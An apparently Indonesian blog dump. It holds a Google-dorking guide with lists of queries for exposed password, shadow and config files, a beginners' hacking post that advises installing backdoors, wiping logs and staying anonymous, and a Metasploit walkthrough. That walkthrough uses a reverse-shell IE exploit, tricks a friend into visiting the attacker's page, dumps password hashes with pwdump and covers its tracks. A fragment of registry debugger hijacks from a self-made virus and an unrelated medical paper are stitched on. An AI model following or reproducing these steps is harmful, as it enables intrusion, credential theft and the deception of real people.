HKLM, Software\Microsoft\Windows\CurrentVersion\Winlogon, LegalNoticeText
HKLM, Software\Microsoft\Windows\CurrentVersion\Run, Systemdir
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RegistryEditor.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-CLN.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-RTP.exe, Debugger
Setelah itu save dengan FILE TYPE : ALL FILES (*.*) dan simpan dengan nama : kalongxremoval.inf. Setelah itu klik kanan file tersebut dan pilih install. Jadi kita buat Virus dan Antidotnya sama-sama dengan Notepad. Gtu,,,"

Google Hacking

2008-06-04T23:24:00.000-07:00

Google Hacking

By: Muhammad Wahid Muslim

Pada kesempatan ini akan dipaparkan penggunaan mesin pencari informasi Google, untuk mendapatkan informasi yang tersembunyi dan sangat penting. Dimana informasi tersebut tidak terlihat melalui metode pencarian biasa. Artikel ini berdasarkan pada FAQ dan diskusi pada milis situs keamanan jaringan komputer http://bugtraq.org dan http://insecure.org tentang metode pengumpulan informasi berkaitan dengan aktifitas webhacking .

Kecenderungan penggunaan teknik ini pada awalnya digunakan untuk mendapatkan informasi sebanyak banyaknya kepada target mesin ataupun mendapatkan hak akses yang tidak wajar. Pencarian informasi secara akurat, cepat dan tepat didasari oleh berbagai macam motif dan tujuan, semoga saja paparan ini digunakan untuk tujuan mencari informasi dengan tujuan yang tidak destruktif, tetapi ialah untuk membantu pencarian informasi yang tepat, cepat dan akurat untuk tujuan yang baik dan bermanfaat.

Dibawah ini akan dijelaskan tentang perintah khusus pada Google, dan akan dijelaskan pengertian dan penggunaan dari tiap–tiap perintah untuk mendapatkan informasi tersembunyi dan sangat penting.

” Intitle:” ialah sintaks perintah untuk membatasi pencarian yang hanya menghasilkan judul yang mengandung informasi pada topik yang dimaksud. Sebagai contoh pada pencarian, “intitle:
password admin “ ( tanpa tanda kutip ). Pencarian akan mencari page yang mengandung kata “ password “ sebagai judulnya dengan prioritas utama “admin” .
Jika pada pencarian terdapat dua query pencarian utama, digunakan sintaks allintitle: untuk pencarian secara lengkap. Sebagai contoh pada pencarian “allintitle:admin mdb”. Maka pencarian akan dibatasi pada dua subjek utama judul yaitu “admin” dan “mdb”.

“ inurl:” ialah sintaks perintah untuk membatasi pencarian yang hanya menghasilkan semua URL yang hanya berisi kata kunci informasi yang dimaksudkan.

Sebagai contoh pencarian dalam pencarian,”inurl : database mdb”. Pencarian akan menghasilkan semua URL yang hanya mengandung informasi tentang “database mdb “.
Hal yang sama juga berlaku pada sintaks ini, jika terdapat dua query pencarian utama, digunakan sintaks “allinurl:” untuk mendapatkan list url tersebut.
Sebagai contoh pencarian “allinurl: etc/passwd“ , pencarian akan menghasilkan URL yang mengandung informasi tentang “etc” dan “passwd”. Tanda garis miring slash (“/”) diantara dua kata etc dan passwd akan diabaikan oleh mesin pencari Google.

“site:” ialah sintaks perintah untuk membatasi pencarian suatu query informasi berdasarkan pada suatu situs atau domain tertentu. Sebagai contoh pada pencarian informasi: “waveguide site:itb.ac.id” (tanpa tanda kutip). Pencarian akan mencari topic tentang waveguide pada semua halaman yang tersedia pada domain itb.ac.id.

“cache:” akan menunjukkan daftar web yang telah masuk kedalam indeks database Google. Sebagai contoh: “cache:deffcon.org”, pencarian akan memperlihatkan list yang disimpan pada Google untuk page deffcon.org

“filetype:” ialah sintaks perintah pada Google untuk pencarian data pada internet dengan ekstensi tertentu (i.e. doc, pdf or ppt etc). Sebagai contoh pada pencarian : “filetype:doc site:go.id confidental” ( tanpa tanda kutip). Pencarian akan menghasilkan file data dengan ekstensi “.doc” pada semua domain go.id yang berisi informasi “confidential”.

“link:” ialah sintaks perintah pada Google yang akan menunjukkan daftar list webpages yang memiliki link pada webpage special. Sebagai contoh:“link:www.securityfocus.com” akan menunjuukan daftar webpage yang memiliki point link pada page SecurityFocus.

“related:” sintaks ini akan memberikan daftar web pages yang serupa dengan web page yang di indikasikan. Sebagai contoh: “related:www.securityfocus.com”, pencarian akan memberi daftar web page yang serupa dengan homepage Securityfocus.

“intext:” sintaks perintah ini akan mencari kata kata pada website tertentu. Perintah ini mengabaikan link atau URL dan judul halaman. Sebagai contoh : “intext:admin” (tanpa tanda petik), pencarian akan menghasilkan link pada web page yang memiliki keyword yang memiliki keyword admin.

Beberapa query sintaks diatas akan sangat membantu dalam pencarian data dan informasi lebih detail. Google dapat menjadi mesin pencari untuk menggali informasi tertentu dan rahasia, informasi yang tidak diperkirakan yang dapat memberitahukan sisi lemah suatu sistem. Hal tersebut yang dimanfaatkan oleh sebagian individu untuk melakukan penetrasi suatu server atau sistem informasi .

Sintaks “Index of ” dapat digunakan untuk mendapatkan situs yang menampilkan indeks browsing direktori. Webserver dengan indeks browsing yang dapat diakses, berarti siapa saja dapat melakukan akses pada direktori webserver, seperti layaknya dapat dilakukan pada lokal direktori pada umumnya.

Pada kesempatan ini dipaparkan bagaimana penggunaan sintaks “index of” untuk mendapatkan hubungan pada webserver dengan direktori indeks browsing yang dapat diakses. Hal tersebut merupakan sumber informasi yang sederhana dapat diperoleh, akan tetapi isi dari informasi seringkali merupakan informasi yang sangat penting. Informasi tersebut dapat saja berupa password akses atau data transaksi online dan hal yang sangat penting lainnya.

Dibawah ini merupakan beberapa contoh penggunaan sintaks “ indeks of” untuk mendapatkan informasi yang penting dan sensitive sifatnya.

Contoh :
Index of /admin
Index of /passwd
Index of /password
Index of /mail
“Index of /” +passwd
“Index of /” +password.txt
“Index of /” +.htaccess
“Index of /secret”
“Index of /confidential”
“Index of /root”
“Index of /cgi-bin”
“Index of /credit-card”
“Index of /logs”
“Index of /config”
“Index of/admin.asp
“Index of/login.asp

Mencari sistem atau server yang vulnerable menggunakan sintaks “inurl:” atau “allinurl:”

1. Menggunakan sintaks “allinurl:winnt/system32/” (dengan tanda petik ) akan menampilkan daftar semua link pada server yang memberikan akses pada direktori yang terlarang seperti “system32”. Terkadang akan didapat akses pada cmd.exe pada direktori “system32” yang memungkinkan seseorang untuk mengambil alih kendali sistem pada server tersebut.

2. Menggunakan “allinurl:wwwboard/passwd.txt” ( dengan tanda petik ) akan menampilkan daftar semua link pada server yang memiliki kelemahan pada “wwwboard Password”. Pembahasan lebih lanjut tentang vulnerability “wwwboard Password” dapat dilihat pada site keamanan jaringan seperti http://www.securityfocus.com atau http://www.securitytracker.com

3. Menggunakan sintaks “inurl: bash history” (dengan tanda petik ) akan menampilkan daftar link pada server yang memberikan akses pada file “bash history” melalui web. File tersebut merupakan command history file yang mengandung daftar perintah yang dieksekusi oleh administrator, yang terkadang menyangkut informasi sensitive seperti password sistem. Seringkali password pada sistem telah dienkripsi, untuk mendapatkan password aslinya bentuk yang dienkripsi ini harus didekripsi menggunakan program password cracker. Lama waktu untuk mendapatkan hasil dekripsi tergantung dari keandalan program dan banyaknya karakter yang terenkripsi.

4. Menggunakan “inurl:config.txt” (dengan tanda petik) akan menampilkan daftar semua link pada server yang memberikan akses pada file “config.txt. File ini berisi informasi penting termasuk hash value dari password administrator dan proses autentifikasi dari suatu database.

Sintaks “inurl:” atau “allinurl:” dapat dikombinasikan dengan sintaks yang lainnya seperti pada daftar dibawah ini :

Inurl: /cgi-bin/cart32.exe
inurl:admin filetype:txt
inurl:admin filetype:db
inurl:admin filetype:cfg
inurl:mysql filetype:cfg
inurl:passwd filetype:txt
inurl:iisadmin
inurl:auth_user_file.txt
inurl:orders.txt
inurl:”wwwroot/*.”
inurl:adpassword.txt
inurl:webeditor.php
inurl:file_upload.php
inurl:gov filetype:xls “restricted”
index of ftp +.mdb allinurl:/cgi-bin/ +mailto allinurl:/scripts/cart32.exe allinurl:/CuteNews/show_archives.php
allinurl:/phpinfo.php
allinurl:/privmsg.php
allinurl:/privmsg.php
inurl:cgi-bin/go.cgi?go=*
allinurl:.cgi?page=*.txt
allinurul:/modules/My_eGallery

Mencari suatu sistem atau server yang memiliki kelemahan dengan sintaks “intitle:”
atau “allintitle:”

1. Menggunakan allintitle: “index of /root” ( tanpa tanda kutip ) akan menampilkan
Daftar link pada webserver yang memberikan akses pada direktori yang terlarang seperti direktori root.

2. Menggunakan allintitle: “index of /admin” ( tanpa tanda kutip ) akan menampilkan link pada site yang memiliki indeks browsing yang dapat diakses untuk direktori terlarang seperti direktori “admin”.

Penggunaan lain dari sintaks “intitle:” atau “allintitle:” yang dikombinasikan dengan sintaks lainnya antara lain :

intitle:”Index of” .sh_history
intitle:”Index of” .bash_history
intitle:”index of” passwd
intitle:”index of” people.lst
intitle:”index of” pwd.db
intitle:”index of” etc/shadow
intitle:”index of” spwd
intitle:”index of” master.passwd
intitle:”index of” htpasswd
intitle:”index of” members OR accounts
intitle:”index of” user_carts OR user_cart
allintitle: sensitive filetype:doc
allintitle: restricted filetype :mail
allintitle: restricted filetype:doc site:gov
allintitle:*.php?filename=*
allintitle:*.php?page=*
allintitle:*.php?logon=*

Penggunaan dan kombinasi pada sintaks tidak hanya terbatas pada contoh paparan diatas. Masih banyak lagi kombinasi dari sintaks sintaks dengan berbagai kata kunci yang dapat digunakan. Hal tersebut bergantung pada kreativitas dan kemauan untuk mencoba. Ada baiknya penggunaan wacana yang telah dipaparkan ini digunakan untuk kepentingan yang tidak menimbulkan kerugian atau kerusakan.

Kelemahan pada suatu sistem atau server yang diketahui ada baiknya dilakukan sharing dengan administrator sistem yang bersangkutan sehingga dapat bermanfaat bagi semua pihak. Dikarenakan kemungkinan besar hasil dari pencarian informasi dapat memberikan informasi yang sensitive, yang seringkali menyangkut segi keamanan suatu sistem atau server.

Wacana tentang sintaks yang sangat membantu dalam pencarian informasi tersebut akhirnya tergantung pada niat dan tujuan dalam pencarian data. Apakah sungguh sungguh dilakukan untuk kebutuhan pencarian data, mengumpulkan informasi dari suatu mesin target penetrasi. Tujuan akhirnya bergantung pada niat individu yang bersangkutan sehingga penulis tidak bertanggung jawab terhadap penyalahgunaan dari informasi yang telah dipaparkan. Seperti kata pepatah lama “ resiko ditanggung penumpang “.

Hack and Crack Study

2008-06-04T23:10:00.000-07:00

Dalam suatu kesempatan, saya pernah melihat seorang auditor keamanan jaringan  melalukan penetration test (pen-test) terhadap suatu sistem IT. Karena penasaran  saya melihat sedikit2 cara penetration test yang dilakukan. Waktu itu saya belum  banyak tahu tools apa aja yang digunakan, yang saya tau dia menggunakan tcpdump  untuk menganalisis paket apa aja yang lewat, trus untuk men-scan beberapa host  menggunakan Nessus. Ada salah satu aplikasi yang digunakan berbasis web yang  terdapat kumpulan beberapa exploit. Waktu itu saya belum tahu aplikasi apa itu,  yang saya ingat aplikasi itu menggunakan alamat http://127.0.0.1:55555, nah  berbekal port 55555 saya mencari di google, dan ternyata itu adalah Metasploit  Framework!.

Peristiwa itu menginspirasikan saya untuk mengenang masa-masa  lalu ketika masih seneng2nya ngoprek dan belum ‘tercemar’ oleh DotA. Akhirnya  sekarang saya ingin belajar ngoprek lagi, tp lebih fokus ke exploitnya saja.  Tulisannya ini akan saya buat menjadi tiga bagian. Bagian pertama mengenai  bagaimana salah satu cara umum yang dilakukan untuk menge-hack suatu system.  Disini saya lebih menitikberatkan untuk hacking OS Windows XP, karena OS ini  paling banyak dipakai orang. Bagian kedua lebih banyak ke teori mengenai  exploit. Tapi karena mungkin akan sangat sulit dipahami (saya sendiri msh blm  bisa membuat exploit sendiri), saya hanya menuliskan hasil terjemahan yang  membahas apa itu dan cara kerja exploit. Sedangkan bagian terakhir merupakan  praktek bagaimana mengelakukan penetration test menggunakan metasploit di  Windows XP.

Bagian 1

*ini merupakan artikel lama  mengenai salah satu cara umum yang dilakukan untuk hacking. (artikel ini jg di  mirror oleh Negative a.k.a Jim Geovedi di sini). Langkah dibawah ini merupakan  cara ’standar’, hacking sebenarnya tidak harus selalu sesuai dengan ’standar’  ini.

Hacking buat pemula

- by MWM

Artikel ini  ditujukan bagi pemula, dan disusun oleh pemula. Ditulis untuk pengetahuan  semata. Untuk temen2 yg udah ahli, sok aja dilewat, tapi dibaca juga  gpp….

Apa sebenarnya hacking itu? klo menurut pengertian gue, hacking  adalah ngoprek. Yup, hacking adalah ngoprek, mempelajari sesuatu dengan  keingintahuan (curiosity) yg tinggi, ngutak atik sesuatu, ‘ngudek-ngudek’ sampai  ke ‘jeroannya’. Sesuatunya apa dong? ya terserah… bisa komputer, mobil, motor,  mesin. Tapi masalahnya ada ngga ya hacker mobil, hacker motor, atau hacker  pesawat terbang?? hehe… Walaupun saat ini hacking identik dengan  ‘bobol-membobol’, tapi gue kurang setuju klo cuman bobol server orang doang!.  Ada yang bilang ‘Hacking is Art’, trus dimana letak seninya dong? Mau tau  pengertian hacking sebenarnya, coba baca artikel sebelumnya (How to Become A  Hacker). Di situ dijelasin bahwa hacker berkaitan dengan kemahiran teknis serta  kegemaran menyelesaikan masalah dan mengatasi keterbatasan. Contoh hacker pada  saat ini yang sering-sering disebut adalah Linus Torvald (tau ngga? itu lho yang  menciptakan Linux). Apa dia tukang bobol? belum tentu kan….

Pada artikel  ini, gue pengen membagi pengalaman mengenai Hacking, walaupun sampai saat ini  gue belum pernah nge-Hack ke server orang. Salah satu cara untuk mencoba  simulasi Hack yaitu H3cky0uRs3lf! Buat komputer kita sebagai server (sekaligus  belajar konfigurasi server) trus install program yg dibutuhkan. Misalnya klo mo  Web Hacking, coba install Apache atau IIS. Atau kita sesuaikan dengan exploit  yang udah kita dapet. Tapi lebih baik install Linux atau FreeBSD dulu di  komputer pribadi, trus konfigurasi sebagai server, lalu simulasi Hack, setelah  itu baru Hack Betulan… Apalagi klo di kost ada jaringan.

Pro dan Kontra  Hacking

Pro

Kontra

Etika  Hacking

Semua informasi adalah free

Jika semua informasi  adalah free, maka tidak ada ladi privacy

Aspek  Security

Intrusion adalah ilustrasi kelemahan sistem

Tidak  perlu menjadi pencuri untuk menunjukkan pintu yang tidak terkunci

Idle  Machines

Hacking hanya pada idle machines

idle machines  milik siapa ?

science education

hanya membobol tapi tidak  merusak

“hacker wannabe” berpotensi sangat besar untuk  merusak

Okeh, sekarang waktunya melakukan aksi…

1. Fase  Persiapan

~ Mengumpulkan informasi sebanyak-banyaknya

- Secara  Aktif : - portscanning

- network mapping

- OS Detection

-  application fingerprinting

Semua itu bisa dilakukan menggunakan toolz  tambahan seperti nmap atau netcat

- Secara Pasif : - mailing-list  (jasakom, newbie_hacker, hackelink, dsb)

- via internet registries  (informasi domain, IP Addres)

- Website yang menjadi  terget

2. Fase Eksekusi
~ Setelah mendapatkan informasi,  biasanya akan didapatkan informasi mengenai OS yg digunakan, serta port yang  terbuka dengan daemon yg sedang berjalan. Selanjutnya mencari informasi mengenai  vulnerability holes (celah kelemahan suatu program) dan dimanfaatkan menggunakan  exploit (packetstromsecurity.org, milw0rm, milis bugtraq, atau mencari lewat  #IRC).
~ Mengekspolitasi Vulnerability Holes
- compile eksploit ->  local host ->

$gcc -o exploit exploit.c

$./exploit

#  hostname (# tanda mendapatkan akses root)

remote host -> $gcc -o  exploit exploit.c

$./exploit -t www.target.com

# (klo beruntung  mendapatkan akes root)

~ Brute Force

- Secara berulang melakukan  percobaan otentifikasi.

- Menebak username dan password.

-  Cracking password file

~ Social Engineering

- Memperdayai user  untuk memeberi tahu Username dan password

- Intinya ngibulin  user….

3. Fase Setelah Eksekusi

~ Menginstall backdoor,  trojans, dan rootkit

~ Menghapus jejak dengan memodifikasi file log agar  tidak dicurigai admin

~ Menyalin /etc/passwd atau  /etc/shadow/passwd

Nah, intinya seh cara masuk ke server seseorang  seperti fase diatas. Mencari informasi, temukan exploit, dan tinggalkan  backdoor. Cuma masalahnya hacking bukanlah segampang cara-cara diatas. Itu  hanyalah teori, banyak hal yang harus diperhatikan jika ingin mempraketekkan  hacking ke server seseorang. Jangan sekali-kali mencoba2 hacking ke server orang  tanpa memperhatikan anonimitas (apalagi klo connectnya lewat komputer pribadi  tanpa menggunakan proxy). Ntar klo ketahuan bisa repot. Saran gue, cobalah pada  mesin localhost dulu (komuter pribadi), klo terhubung ke LAN lebih bagus.  Sediakan server yang khusus buat dioprek. Kalaupun pun ga terhubung ke jaringan,  kita masih bisa menggunakan Virtual Machine menggunakan VMWare seperti yang  nanti akan dibahas pada bagian 3!

Referensi :

-Hacking and  Defense, Jim Geovedi, negative@magnesium.net

-Network Defense, Jim  Geovedi, negative@magnesium.net

Belajar Hack (2) - What is an  Exploit?
8 11 2006

*This article originally was written by Pukhraj  Singh, K.K. Mookhey, you can get it from here. I am just repost and summarize it  so you can understand what is an exploit. I’m sorry not to translate this  article into Bahasa Indonesia coz I’m too lazy. Maybe you want to help us to  translate it? :-)

Exploit

sploit
(n.) Exploit. A defect in the  game code (see bug) or design that can be used to gain unfair advantages.  (Source: Dictionary of MMORPG Terms)

At present the exploit development  community (hackers and security professionals alike) is more sentient than ever  before. The timeline between the release of an advisory and the development of  an exploit has shrunk to a great extent. Exploit development, which was  considered more of Wiccan art, has reached large masses. The network security  administrator needs to be more vigilant then ever before as the enemy is always  one step ahead with the latest exploit in his hand.
Memory  organization

The basic exploitation techniques can be methodically  categorized, like any other technical issue. Before going further, however, the  reader must be aware of the basic process of memory organization. A process  running in memory has the following sub-structures:

Code is the read-only  segment that contains the compiled executable code of the program.

Data  and BSS are writable segments containing the static, global, initialized and  un-initialized data segments and variables.

Stack is a data structure  based on Last-In-First-Out ordering. Items are pushed and popped from the top of  the stack. A Stack Pointer (SP) is a register which points to the top of the  stack (in most cases). When data is pushed on the stack, SP points to (the top  of the stack). Stack grows towards negative memory addresses. It is used for  storing the context of a process. A process pushes all its local and dynamic  data on to the stack. Instruction Pointer (IP) is a register used to point to  the address of the next instruction to be executed. The processor looks at IP  each time to find the next instruction to be executed. When an abrupt program  redirection takes place (generally due to jmp or call) the address of the next  instruction, after returning back from redirection, can be lost. In order to  overcome this problem the program stores the address of the next instruction to  be executed (after returning from jmp or call) on the stack, and it is called  the return address (implemented through assembly instruction RET). This is how a  normal program containing many function calls and goto instructions keeps track  of right path of execution.

Heap is basically the rest of the memory  space assigned to the process. It stores data which have a lifetime in between  the global variables and local variables. The allocator and deallocator work to  assign space to dynamic data and free heap memory respectively.

This was  a brief fly-over on the basics of process organization. Now I describe some  techniques recurrently used to abuse the harmony of process  organization.
Buffer overflows

The word gives goose bumps to any  person who has dealt with them, be it a coder, an application tester or the  security administrator. Some say it’s the biggest security risk of the decade.  The technique of exploitation is straightforward and lethal. The stack of the  program stores the data in order whereby the parameters passed to the function  are stored first, then the return address, then the previous stack pointer and  subsequently the local variables. If variables (like arrays) are passed without  boundary checks, they can be overflowed by shoving in large amounts of data,  which corrupts the stack, leading to the overwrite of the return address and  consequently a segmentation fault. If the trick is craftily done we can modify  the buffers to point to any location, leading to capricious code  execution.
Heap overflows

The allocated memory in a heap is organized  as a doubly linked list. By performing an overflow we can modify the pointers of  the linked list to point into memory. Heap overflows are hard to exploit and are  more common in Windows as they contain more prominent data which can be  exploited. In the case of a malloc memory allocation system, the information  regarding the free and allocated memory is stored within the heap. An overflow  can be triggered by exploiting this management information such that we can  write to random memory areas afterwards, which can lead to code  execution.

So how is the overflow triggered? There are many weapons in  the stockpile like strings and string functions, format strings, null pointers,  integer overflows, signed issues and race conditions which can be a help to  generate exceptional conditions in a process.

I stress the fact that this  article was not meant to be a definitive guide to various exploitation  techniques. We only provide a quick overview of what is important, in order to  get a solid understanding of the things to come in subsequent parts of this  article. They just act as pointers for further reference

The Birth of an  Exploit

Exploit development tools and automated frameworks for exploit  testing and simulation is the need of the hour. Metasploit Framework (MSF) is  something which fits the bill. Its latest release has the agility and muscle  quite comparable to its high priced commercial counterparts and the lethality to  code an exploit in the shortest possible timeframe, due to a very well defined  interface for development. With a complete exploit environment, working  exploits, effectual payloads and added handlers, this is one tool which the  penetration testers must utilize.

The body or structure of an exploit can  be divided into various components, as described in Figure 1. We describe some  exploit miscellany which will help us to analyze the figure as  shown.

exploit.JPGFigure 1
Shellcode

This is the payload which  is to be executed after exploitation. In most cases we redirect the path of  execution so that the injected payload is executed. Hence the return address is  made to point to this shellcode. It comprises of assembly instructions encoded  as a binary string which perform operations like spawning a shell. A good piece  of shellcode must be a trade-off between and size and complexity. There are a  lot of verifications to be made during payload encoding like keeping a check on  restricted characters. Nowadays, payloads have been customized to be very short  and require less space. They can execute many complex operations from opening a  listening socket to even loading a compiler on the remote computer.
Injection  vector

The pointer or offset where the shellcode is placed in a process  and the return address is modified to point to.

Request  builder

This is the code which triggers the exploit. If it’s related to  string functions, then scripting languages are generally  preferred.

Handler Routine

This part generally consumes the  majority of the code. This is a handler for the shellcode doing operations like  linking to a bindshell, or connecting console to a socket.

User options  handler

It is basically a user level front-end providing the user with  various control options like remote target selection, offset selection,  verbosity, debugging and other options. This forms majority of the exploit code  and makes the code quite bulky.

Network connection Handler

This  comprises of the various routines which handle network connections like name  resolution, socket establishment, error handling etc.

As we can see there  is a lot of unnecessary and repetitive code which makes the exploit really bulky  and error prone.

In the course of development, many problems are faced  which hinder the exploit development process. The mad race of people trying to  release the exploit first leads to a lot of bad and unnecessarily complicated  code.

Some exploits need an understanding of deeper concepts and  research, such as exploits based on network protocols (RPC, SMB and SSL) and  obfuscated APIs. Also, not much information is revealed in the advisory so there  is always the need for experimentation.

Finding target values is also one  big headache which involves lot of trial and error.

Finally, most  payloads are hard coded and any changes breaks the exploit.

Many  firewalls and IPSes detect and block shellcode.

Time is of primary  concern, and some exploits consume quite a lot of time and concentration, both  of which are the precious assets of a security researcher.

All said and  done, coding exploit is one hell of a messy job!

gmn.. ngerti ga?? ga  mudheng ya… sama dong! ;p

ah… ini mah kebanyakan teorinya, mana!!.. mana  prakteknya?!

sabar, orang sabar pantatnya lebar ;p kenapa saya posting  artikel itu? soalnya biar kita ngerti, minimal tahu lah apa yang kita pakai  (exploit). Tidak semua exploit yang kita peroleh diinternet itu aman,  kadang-kadang malah ada backdoornya. Jadi lebih baik, klo pakai exploit lihat2  source codenya juga. yah pura2 aja ngerti, biar keliatan keren!

Belajar  Hack (3) - Hack Windows XP SP2
14 11 2006

*Fyuhh… akhirnya sempet juga  nyelesain tulisan ini. Yosh.. here is the prof of concept!.

Disclaimer:  This document was written in the interest of education. The author cannot be  held responsible for how the topics discussed in this document are  applied.

Setelah mengetahui sedikit dan konsep dasar ‘standar’ mengenai  hack yang dibahas dibagian pertama dan mengetahui sedikit materi mengenai  exploit pada bagian kedua, sekarang langsung aja kita praktek. Disini saya  sengaja menggunakan VMWare untuk melakukan simulasi, karena tidak semua orang  dapat mempraktekannya dalam suatu jaringan. Dengan menggunakan VMWare, kita  dapat mensimulasikan jaringan sederhana yang seolah-olah ada suatu jaringan yang  terdiri dari komputer kita sendiri dan komputer lainnya. Bagi yang belum bisa  menggunakan VMWare, coba cari diinternet! Sistem Operasi yang saya gunakan  adalah Windows XP SP2.

Tools yang saya gunakan adalah Metasploit  Framework untuk melakukan exploit serta PwDump6 untuk mengambil hash file dari  komputer target. Apa itu Metasploit Framework ?

The Metasploit Framework  is a complete environment for writing, testing, and using exploit code. This  environment provides a solid platform for penetrationtesting, shellcode  development, and vulnerability research.

Untuk penggunaan lebih lanjut  mengenai Metasploit, anda dapat membaca dokomentasi yang juga diikutsertakan  dalam instalasi. Untuk melakukan instalasi metasploit versi 2.7, dibutuhkan user  administrator. Sebelumnya saya mencoba menginstall dengan ‘limited user’ tapi  setelah diinstall tidak bisa dijalankan. Sebenarnya instalasi metasploit ini  hanya mengekstrak file saja. Jadi anda dapat menginstallnya tanpa harus  mendapatkan user admin serta meletakkannya dimanapun tanpa harus menginstal di  Folder Program Files. Namun setelah sedikit dioprek, ternyata tidak harus admin  yang bisa menjalankan. Agak ribet dan males juga sih nulis disini, soalnya  ketika mencoba versi terbaru, yaitu versi 3 Beta 3, kita dapat menjalankannya  tanpa harus menginstall dengan user admin. Gitu aja ko repot! Lagipula versi 3  (skarang msh beta) lebih keren dan fiturnya lebih banyak. Tapi sayangnya untuk  msfweb (versi webnya) belum bisa dijalankan sepenuhnya.

Ok.. sekarang  saya asumsikan anda telah membaca userguide metasploit (ah.. paling asumsi saya  salah ;p). Biar lebih keliatan keren dan memahami detailnya, saya menjelaskan  metasplooit yang menggunakan console (mfsconsole) saja. Metasploit menggunakan  cygwin untuk menjalankannya, karena metasploit dibuat menggunakan Perl. Sekarang  mari kita praktekkan!!

Pertama2 jalankan  ‘mfsconsole’!

main1.JPG

Untuk mempelajari command apa saja yang  ada di MSFConsole gunakan perintah ‘help’.

Karena komputer yang ingin  dijadikan target adalah Windows XP SP2, maka digunakan exploit yang berpengaruh  terhadap XP SP2 yaitu dengan memanfaatkan kelemahan pada Internet Explorer VML  Fill Method Code Execution.

This module exploits a code execution  vulnerability in Microsoft Internet Explorer using a buffer overflow in the VML  processing code (VGX.dll). This module has been tested on Windows 2000 SP4,  Windows XP SP0, and Windows XP SP2.

Untuk melihat info dari exploit ini  gunakan perintah :

msf > info ie_vml_rectfill

Exploit  ie_vml_rectfill memanfaatkan kelemahan pada Internet Explorer. Oleh karena itu,  exploit ini akan berpengaruh jika komputer target menjalankan IE dan mengarahkan  url-nya ke komputer penyerang. Untuk itu, kita harus menggunakan sedikit ‘social  engineering’, seperti jika di kost/lab/kantor kita bilang ke teman kita bahwa  kita sedang mencoba membuat aplikasi web terbaru, lalu minta tolong dilihat  menggunakan IE ke alamat IP (atau nama komputer) kita. Misalkan  http://192.168.186.1. Biasanya setelah exploit ini dijalankan dan komputer  target telah terhubung, maka IE akan crash. Biarkan beberapa saat untuk  membiarkan exploit ‘bekerja’. Setelah beberapa saat bilang aja “wah.. ada error  nih. Ok deh.. saya coba betulin dulu… makasih ya”. Baru tutup IE-nya pake Task  Manager (walaupun pake TM, IE msh sulit di-kill, jangan lupa untuk me-’end  process’-kan ‘dumpred.exe’ juga, tapi setelah exploit bekerja :-D  ).

Untuk menggunakan exploit gunakan perintah2 berikut dalam console  :

msf > use_ie_vml_rectfill

msf > set PAYLOAD  win32_reverse

msf > set RHOST ip_target

msf > set LHOST  ip_penyerang

msf > exploit

Hasilnya akan tampak seperti gambar  berikut :

exploit1.JPG

Dalam contoh diatas, IP komputer target  (RHOST) adalah 192.168.186.128, sedangkan komputer penyerang (LHOST) adalah  192.168.186.1. Lalu ‘payload’ yang digunakan adalah ‘win32_reverse’ dan HTTP  PORT nya adalah 80 (default http port). Setalah menjalankan perintah ‘exploit’,  baru kita minta komputer target untuk menjalankan IE dan mengarahkan url-nya ke  komputer kita. Proses ini akan memakan waktu agak lama, bahkan terkadang tidak  berhasil. Jadi coba-coba aja terus :-D

Jika anda berhasil, maka anda akan  mendapatkan ‘cmd.exe’ dari komputer target.

Crack da  Password!

Nah, setelah kita ‘menguasai’ komputer target, skalian aja kita  lihat password-nya. Caranya mirip dengan artikel saya sebelumnya tentang Hack  Win XP SP2 Password, tapi karena ini remote maka kita harus ‘menyediakan’  program yg dibutuhkan yaitu PwDump. Agar cara ini berhasil, saya asumsikan pada  komputer target user yang sedang login mempunyai akses admin. Klo user yang  digunakan komputer target yang dimanfaatkan IE-nya hanya user ‘biasa’, pwdump  tidak akan berhasil!

Pertama kita share dulu PwDump dari komputer kita  dengan full access agar kita bisa mengupload hasil dump password komputer  target, tapi dengan akhiran ‘$’ biar tidak terlihat dikomputer umum. Misalkan  nama folder yang di share PwDump$. Lalu dari console yang berhasil dihack, ambil  PwDump dengan Map Network Drive dari komputer kita dengan ‘net use’. Contoh  perintah yang digunakan :

pwdump.JPG

Setelah itu copy Pwdump ke  komputer target dalam folder sementara, ‘temp’. Setelah Pwdump berhasil di-copy  ke komputer target, jalankan Pwdump dengan perintah

C:\temp\Pwdump –o  pass.txt 127.0.0.1

Klo berhasil akan tampak pada gambar  berikut.

dump1.JPG

Lalu copy file pass.txt ke komputer  kita

C:\temp\copy pass.txt z:

Dan terakhir, jangan tinggalkan  jejak bahwa kita sudah mampir kesitu.

clean.JPG

Nah, udah dapet  hash file nya kan. Tinggal di crack aja deh…. (baca artikel sebelumnya buat  nge-crack password).

Sebenarnya masih banyak yang dapat dioprek dari  metasploit. Dalam metasploit terdapat banyak exploit, payload, meterpreter, dsb  yang sangat ‘menyenangkan’ untuk dioprek. Untuk mempelajari metasploit,  disitusnya terdapat dokumentasi yang lumayan baik.

Happy  Hacking…..

Beberapa saran agar windows kita tetap aman terhadap  exploit diatas.

1. Jangan gunakan Internet Explorer. Gunakan Mozilla  Firefox atau Opera!.

2. Patch Windows anda.

3. Gunakan antivirus  dengan update terbaru

4. Hati2 terhadap teman anda sendiri.. waspadalah!!  ;p

Reference :

http://www.metasploit.com

Filariasis

2008-05-30T00:21:00.000-07:00

PENUGASAN MAKALAH ILMIAH

"FILARIASIS"

oleh: Muhammad Wahid Muslim

Dosen : Prof. dr. Hj. Siti Alisah N Abidin DTM&H dan Dra. Widiastuti S. Manan M.Si

A. ISTILAH

